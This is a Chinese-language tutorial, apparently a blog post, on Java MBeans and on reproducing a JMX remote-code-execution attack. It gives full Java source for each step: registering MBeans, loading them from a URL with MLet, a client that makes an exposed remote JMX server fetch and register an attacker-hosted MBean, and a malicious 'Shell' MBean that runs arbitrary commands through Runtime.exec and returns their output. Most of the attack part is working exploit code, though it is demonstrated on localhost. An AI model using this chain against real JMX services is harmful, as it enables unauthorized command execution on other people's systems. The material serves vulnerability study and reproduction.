MBean使用及JMX漏洞复现
MBean使用及JMX漏洞复现
源码地址:https://github.com/muphy1112/JMXMBeanShell
JMX是管理扩展,通过JMX可以监控管理按照MBean格式编写的java程序,MBean格式要求有接口和实现两个类,接口命名以MBean结尾,实现类命名为接口名去掉MBean,如:接口HelloMBean与实现类Hello。
1、启动直接从本地注册MBean
1.1、编写HelloMBean接口:HelloMBean.java
package me.muphy.mbean; public interface HelloMBean { public String hello(String s); }
1.2、编写Hello实现类:Hello.java
package me.muphy.mbean; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Hello implements HelloMBean { @Override public String hello(String s) { System.out.println("hello " + s); return "hello " + s; } public static void main(String[] args) throws Exception { MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); ObjectName helloName = new ObjectName("HelloMbean:name=Hello"); mBeanServer.registerMBean(new Hello(), helloName); Registry registry = LocateRegistry.createRegistry(9010); JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi"); JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); } }
1.3、编译并启动程序
1.4、运行jconsole,选择本地连接
1.5、依次操作执行方法调用:HelloMBean》Hello》操作》hello方法》在右边输入参数“ruphy”》点击hello按钮
2、启动时使用Java自带的MLet主动从网址注册MBean
2.1、将上面的两个类Hello和HelloMBean打包成JMXHello.jar
2.2、编写mlet文件:mlet.xml,参考网址:https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html,文件内容如下:
<MLET CODE=me.muphy.mbean.Hello ARCHIVE=JMXHello.jar NAME=:NAME=Hello></MLET>
2.2、将mlet.xml与JMXHello.jar一起放在某网站根目录,如访问mlet.xml与JMXMBean.jar:http://localhost:8081/mlet.xml、http://localhost:8081/JMXMBean.jar
2.3、编写JMX管理的类:MLetRemote.java,代码如下:
package me.muphy.mbean; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.loading.MLet; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class MLetRemote { public static void main(String[] args) throws Exception { MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); MLet mLet = new MLet(); ObjectName objectName = new ObjectName("JMXMLet:type=MLet"); mBeanServer.registerMBean(mLet, objectName); mLet.getMBeansFromURL("http://localhost:8081/mlet.xml"); Registry registry = LocateRegistry.createRegistry(9010); JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi"); JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); } }
2.4、启动后操作同1.5
3、向远程注册MBean,可以是恶意的MBean
3.1、通过第二点得知可以且只能使用MLet下载并注册远程的MBean,假设远程有一台服务器可以被jconsole连接,模仿远程服务器,新建一个类MLetMBeanServer.java,编译并启动,内容如下:
package me.muphy.mbean; import javax.management.MBeanServer; import javax.management.remote.*; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class MLetMBeanServer { public static void main(String[] args) throws Exception { MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); Registry registry = LocateRegistry.createRegistry(1099); JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); } }
3.2、编写JMX客户端类:MLetMBeanClient.java,此客户端运行后可以让远程服务端注册MLet,这样我们就可以通过jconsole传入网址http://localhost:8081/mlet.xml让服务端下载并注册MBean,内容如下:
package me.muphy.mbean; import javax.management.MBeanServerConnection; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class MLetMBeanClient { public static void main(String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL); MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); mBeanServerConnection.createMBean("javax.management.loading.MLet", null); System.out.println("JMXConnectorServer is running"); } }
3.3、输入http://localhost:8081/mlet.xml就和之前一样会出现同样的界面
3、加载恶意MBean远程执行命令
将hello方法换成恶意的方法,既可以实现恶意的命令执行,写了一个带回显的命令执行如下:
3.1、ShellMBean.java
package me.muphy.mbean; import java.io.IOException; public interface ShellMBean { public String runCmd(String cmd) throws IOException, InterruptedException; }
3.2、Shell.java(main方法与远程注册无关)
package me.muphy.mbean; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Shell implements ShellMBean { @Override public String runCmd(String cmd) throws IOException, InterruptedException { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); String stdout_data = ""; String strtmp; while ((strtmp = stdInput.readLine()) != null) { stdout_data += strtmp + "\n"; } while ((strtmp = stdError.readLine()) != null) { stdout_data += strtmp + "\n"; } process.waitFor(); try { stdError.close(); stdInput.close(); } catch (IOException e) { } return stdout_data; } public static void main(String[] args) throws Exception { MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); ObjectName shell = new ObjectName("ShellMBean:name=Shell"); mBeanServer.registerMBean(new Shell(), shell); Registry registry = LocateRegistry.createRegistry(9010); JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi"); JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); } }
3.3、执行命令 java -version